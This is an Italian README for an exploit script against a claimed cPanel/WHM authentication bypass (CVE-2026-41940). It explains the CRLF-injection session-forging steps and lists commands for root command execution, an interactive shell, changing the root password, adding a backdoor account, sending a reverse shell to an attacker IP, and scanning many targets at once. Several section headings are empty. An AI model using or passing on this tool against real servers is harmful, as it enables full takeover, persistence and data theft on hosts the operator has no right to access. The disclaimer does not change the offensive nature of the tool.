CVE-2026-41940: Bypass dell'autenticazione in cPanel/WHM (singolo e multi-target)

Disclaimer: Questo documento e lo script associato (exploit.py) sono forniti esclusivamente a scopo educativo, per ricerche di sicurezza e test di penetrazione autorizzati. Non utilizzare questo software contro sistemi che non possiedi o per i quali non hai esplicita autorizzazione.

Panoramica

exploit.py è uno script che dimostra una vulnerabilità di bypass dell'autenticazione (CVE-2026-41940) in cPanel e WHM. La vulnerabilità consente a un attaccante non autenticato di iniettare una sessione root nella cache del demone tramite un difetto di iniezione CRLF, concedendo infine accesso WHM a livello root senza richiedere credenziali valide.

Analisi della vulnerabilità e flusso dell'exploit

L'exploit sfrutta una vulnerabilità di iniezione CRLF (Carriage Return Line Feed) nel meccanismo di gestione dell'autenticazione di base, combinata con un difetto di propagazione della sessione. Lo script automatizza l'attacco in quattro fasi:

1. Conio di sessione pre-autenticazione: Si connette agli endpoint di login pubblici (ad es. /login/ o /cgi/login.cgi) per acquisire un cookie di sessione non autenticato di base (whostmgrsession).
2. Iniezione CRLF: Invia un'intestazione di autenticazione di base manipolata contenente un payload codificato in Base64 che inietta i campi della sessione root direttamente nella cache delle sessioni di cpsrvd. La risposta di reindirizzamento del server rilascia il token di sicurezza generato (cpsess).
3. Propagazione della sessione: Il cookie di sessione grezzo viene inviato a un endpoint WHM autenticato, innescando do_token_denied per propagare la sessione falsificata nella cache del demone — rendendola una sessione autenticata valida.
4. Verifica: Accede agli endpoint API WHM riservati (ad es. /json-api/version) utilizzando la sessione falsificata per confermare l'accesso a livello root.

Prerequisiti

• Python 3.x
• Libreria requests

pip install requests

Utilizzo

python exploit.py --target <URL> [options]
python exploit.py --target-file <FILE> [options]

Argomenti

Selezione del target

Opzioni di rete e principali

Opzioni di sfruttamento (post-bypass)

Opzioni di output

Esempi

# Check if target is vulnerable
python exploit.py --target https://target:2087 --check

# Dump server info (version, accounts, privileges)
python exploit.py --target https://target:2087 --dump

# Generate a one-click root login URL (paste in browser immediately)
python exploit.py --target https://target:2087 --session

# Execute a command
python exploit.py --target https://target:2087 --exec "id"

# Drop into an interactive WHM shell
python exploit.py --target https://target:2087 --shell

# Change root password
python exploit.py --target https://target:2087 --password 'NewP@ss!'

# Call WHM API directly
python exploit.py --target https://target:2087 --api version
python exploit.py --target https://target:2087 --api listaccts --api-params api.version=1

# Create a backdoor cPanel account
python exploit.py --target https://target:2087 --add-user myuser 'Pass123!' example.com

# Send reverse shell
python exploit.py --target https://target:2087 --revshell YOUR_IP 4444

# Override hostname (use when auto-discovery fails)
python exploit.py --target https://1.2.3.4:2087 --hostname whm.server.net --check

# Scan multiple targets (check-only mode)
python exploit.py --target-file ips.txt
python exploit.py --target-file ips.txt --threads 20

# Save session to file
python exploit.py --target https://target:2087 --dump --output results.json

Comandi della shell interattiva

Quando si utilizza --shell, sono disponibili i seguenti comandi:

Promemoria

Aggiornare immediatamente gli ultimi aggiornamenti di sicurezza di cPanel/WHM.